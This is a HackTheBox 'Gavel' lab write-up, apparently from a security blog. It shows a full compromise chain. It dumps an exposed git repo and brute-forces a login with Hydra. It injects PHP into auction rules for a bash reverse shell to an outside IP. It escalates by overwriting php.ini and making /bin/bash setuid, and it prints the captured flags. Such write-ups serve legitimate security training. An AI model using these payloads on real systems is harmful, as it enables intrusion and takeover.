Post

HTB Linux Medium: Gavel

Gavel is a Medium rated Linux machine on HTB.

HTB Linux Medium: Gavel

Nmap Scan

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
nmap -sCV -p22,80 gavel.htb 
Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-30 10:26 CET
Nmap scan report for gavel.htb (10.129.209.44)
Host is up (0.029s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 1f:de:9d:84:bf:a1:64:be:1f:36:4f:ac:3c:52:15:92 (ECDSA)
|_  256 70:a5:1a:53:df:d1:d0:73:3e:9d:90:ad:c1:aa:b4:19 (ED25519)
80/tcp open  http    Apache httpd 2.4.52
|_http-title: Gavel Auction
| http-git: 
|   10.129.209.44:80/.git/
|     Git repository found!
|     .git/config matched patterns 'user'
|     Repository description: Unnamed repository; edit this file 'description' to name the...
|_    Last commit message: .. 
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.84 seconds

Modify hosts file:

1
10.129.209.44 gavel.htb

Enumerate HTTP (Port 80)

Nmap identified a git repository which we can retrieve using git-dumper:

1
2
3
4
5
6
7
8
# Install
python3 -m venv git-dumper
source git-dumper/bin/activate
pip install git-dumper

# Dump git repo
mkdir /tmp/source
git-dumper http://gavel.htb/.git/ /tmp/source

Found a potential username in the admin.php page:

1
2
3
4
5
6
7
<?php
require_once __DIR__ . '/includes/config.php';
require_once __DIR__ . '/includes/db.php';
require_once __DIR__ . '/includes/session.php';
require_once __DIR__ . '/includes/auction.php';

if (!isset($_SESSION['user']) || $_SESSION['user']['role'] !== 'auctioneer') {

We can perform a brute force attack using Hydra against the login page using the previously discovered auctioneer user:

1
2
3
hydra -l auctioneer -P /usr/share/wordlists/rockyou.txt gavel.htb http-post-form "/login.php:username=^USER^&password=^PASS^:S=302"

[80][http-post-form] host: gavel.htb   login: auctioneer   password: midnight1

The admin panel allows us to modify the rule and message for the items. Analyzing the source code we find the following default yaml rule:

1
2
3
4
5
6
7
8
9
10
cat default.yaml      
rules:
  - rule: "return $current_bid >= $previous_bid * 1.1;"
    message: "Bid at least 10% more than the current price."

  - rule: "return $current_bid % 5 == 0;"
    message: "Bids must be in multiples of 5. Your account balance must cover the bid amount."

  - rule: "return $current_bid >= $previous_bid + 5000;"
    message: "Only bids greater than 5000 + current bid will be considered. Ensure you have sufficient balance before placing such bids."

The return statement looks an awful lot like the end of a PHP function. Using the following payload we can obtain RCE:

1
exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.36/443 0>&1'"); return true;

In order to trigger the reverse shell we can register a user and bid on the item for which we used the RCE rule. Shell as www-data:

1
2
3
4
5
6
7
nc -lnvp 443                   
listening on [any] 443 ...
connect to [10.10.14.36] from (UNKNOWN) [10.129.209.44] 45010
bash: cannot set terminal process group (1052): Inappropriate ioctl for device
bash: no job control in this shell
www-data@gavel:/var/www/html/gavel/includes$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Lateral movement

We can switch to the auctioneer user using the password we previously brute-forced:

1
2
3
4
5
www-data@gavel:/home$ su auctioneer
Password: midnight1

auctioneer@gavel:/home$ id
uid=1001(auctioneer) gid=1002(auctioneer) groups=1002(auctioneer),1001(gavel-seller)

User.txt: 13f5641f6492928290ca344f7a58fec7

1
2
auctioneer@gavel:~$ cat user.txt
13f5641f6492928290ca344f7a58fec7

Privilege Escalation

Found the php.ini file which seems to disable PHP RCE functions:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
auctioneer@gavel:/opt/gavel/.config/php$ cat php.ini
engine=On
display_errors=On
display_startup_errors=On
log_errors=Off
error_reporting=E_ALL
open_basedir=/opt/gavel
memory_limit=32M
max_execution_time=3
max_input_time=10
disable_functions=exec,shell_exec,system,passthru,popen,proc_open,proc_close,pcntl_exec,pcntl_fork,dl,ini_set,eval,assert,create_function,preg_replace,unserialize,extract,file_get_contents,fopen,include,require,require_once,include_once,fsockopen,pfsockopen,stream_socket_client
scan_dir=
allow_url_fopen=Off
allow_url_include=Off

Since we are part of the gavel-seller group we can see if this group owns any files:

1
2
3
find / -group gavel-seller 2>/dev/null
/run/gaveld.sock
/usr/local/bin/gavel-util

The gavel-util binary allows us to submit yaml configuration files. This file also includes the previously abused rule parameter which got us RCE. Thanks to the php.ini file we know that the RCE functions are disabled. However, if the root user executes our yaml configuration we may be able to overwrite the php.ini file:

1
2
3
4
5
6
7
8
9
10
11
# Yaml payload
name: "php.ini restrictions"
description: "Overwrite the php.ini restrictions."
image: "https://example.com/dragon_hat.png"
price: 10000
rule_msg: "You have been granted access."
rule: "file_put_contents('/opt/gavel/.config/php/php.ini', 'engine=On\ndisplay_errors=On\ndisplay_startup_errors=On\nlog_errors=Off\nerror_reporting=E_ALL\nopen_basedir=/opt/gavel\nmemory_limit=32M\nmax_execution_time=3\nmax_input_time=10\ndisable_functions=\nscan_dir=\nallow_url_fopen=Off\nallow_url_include=Off'); return true;"

# Overwrite php.ini
gavel-util submit pwn.yaml
Item submitted for review in next auction

We can observe that the php.ini file has successfully been overwritten:

1
2
3
4
5
6
7
8
9
10
11
12
13
cat /opt/gavel/.config/php/php.ini
engine=On
display_errors=On
display_startup_errors=On
log_errors=Off
error_reporting=E_ALL
open_basedir=/opt/gavel
memory_limit=32M
max_execution_time=3
max_input_time=10
disable_functions=
scan_dir=
allow_url_fopen=Off

In order to get RCE, we can create another yaml file:

1
2
3
4
5
6
7
8
9
10
# Yaml payload
name: "Sticky bit on bash"
description: "Adds a sticky bit to /bin/bash."
image: "https://example.com/dragon_hat.png"
price: 10000
rule_msg: "You have been granted root access."
rule: "exec('chmod u+s /bin/bash'); return true;"

# Add sticky bit to /bin/bash
gavel-util submit bash.yaml

We can now switch to the root user:

1
2
3
auctioneer@gavel:/tmp$ /bin/bash -p
bash-5.1# id
uid=1001(auctioneer) gid=1002(auctioneer) euid=0(root) groups=1002(auctioneer),1001(gavel-seller)

Root.txt: 9542fb466c0a0df9f92ab44a6ee0f033

1
2
bash-5.1# cat root.txt
9542fb466c0a0df9f92ab44a6ee0f033

PWNED!!!

Pasted image 20251130115911.png

This post is licensed under CC BY 4.0 by the author.